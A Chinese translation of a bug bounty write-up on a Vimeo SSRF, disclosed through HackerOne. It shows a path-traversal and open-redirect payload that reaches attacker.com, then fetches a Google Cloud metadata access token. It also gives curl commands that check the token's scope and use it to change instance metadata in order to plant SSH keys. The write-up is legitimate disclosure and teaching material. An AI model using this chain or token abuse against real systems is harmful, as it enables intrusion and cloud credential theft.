Vimeo：从SSRF到远程命令执行——5000美金

最近，我在Vimeo视频网站上发现了一个SSRF漏洞，并进而利用其达到代码执行。这篇文章将解释了我是如何找到并利用它的。让我们开始吧。

背景

Vimeo给用户提供了一个API控制台，名为API Playground，利用这个控制台，你可以让后端服务器对外发出请求，示例如下：

以上图片这个请求会让后端服务器向外发出GET请求

https://api.vimeo.com/users/{user_id}/videos/{video_id}

从以上图示例可看到，我们可以控制修改很多参数。首先是uri参数，里面还掺杂了视频和用户参数，/users/{user_id}/videos/{video_id} 。在参数method设为GET的情况下，后端服务器会发出GET请求。当然，只要把参数值设为POST，就能发出POST请求。params应该是post参数if请求方法是POST。其中user_id和video_id这两个变量的值在参数segments 中被定义。

对服务器端进行路径遍历

我首先尝试将参数uri更改为自定义路径，但无论任何更改都会返回403，这意味着可能有一组API白名单。接着，我尝试更改变量user_id和video_id，往参数中加入了../../../，然后发送修改后的请求，观察服务器响应。

假设 
    URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

响应
    https：//api.vimeo.com/attacker

正如你在上图中所看到的，列出了api.vimeo.com根目录的所有端点。注意，这需要你的请求中有授权请求头。

跳出api.vimeo.com

我猜测后端一定有些HTTP的跳转机制。所以，如何才能跳出这个服务器去访问其他机器呢？

现在，我开始尝试让这个api.vimeo.com网站能对我控制的服务器发出请求。

很快，我就找到了一个有跳转功能的端点，它能从api.vimeo.com跳转到vimeo.com。

https://api.vimeo.com/m/something

很好！同时，我在vimeo.com上也找到一个重定向端点，示例如下：

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

攻击链条

最终，有关重定向的paylaod如下：

../../../m/vulnerable/open/redirect?url=https://attacker.com

把这个payload代入参数video_id，解析逻辑如下

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

如上解析成

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

进行HTTP重定向

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

进行了另一次HTTP重定向

https://attacker.com

Bingo！SSRF已彻底实现！

利用

由于Vimeo网站架构位于Google云上，所以我尝试攻击Google的元数据的API。我主要按照André Baptista（0xacb）的方法

如下端点会给我提供服务帐户令牌。

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

令牌的范围

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

然后我可以使用此令牌将我的公共SSH密钥添加到目标服务器中，然后通过我的私钥连接

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceme tadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}

Response: 

{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceme tadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

然后。。。

但是，我很悲伤的发现，这个SSH端口只能从内部网络访问。

Kubernetes密钥也是从元数据的API中提取的，但由于某些原因我无法使用它们，Vimeo安全团队确认它们是真实的。

时间线

1月28日清晨：初步发现

1月28日：由HackerOne团队进行分类

1月28日：Vimeo团队最初奖励100美元并临时修复。

1月30日/31日：深层次修复

2月1日：再次奖励4900美元奖励。

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e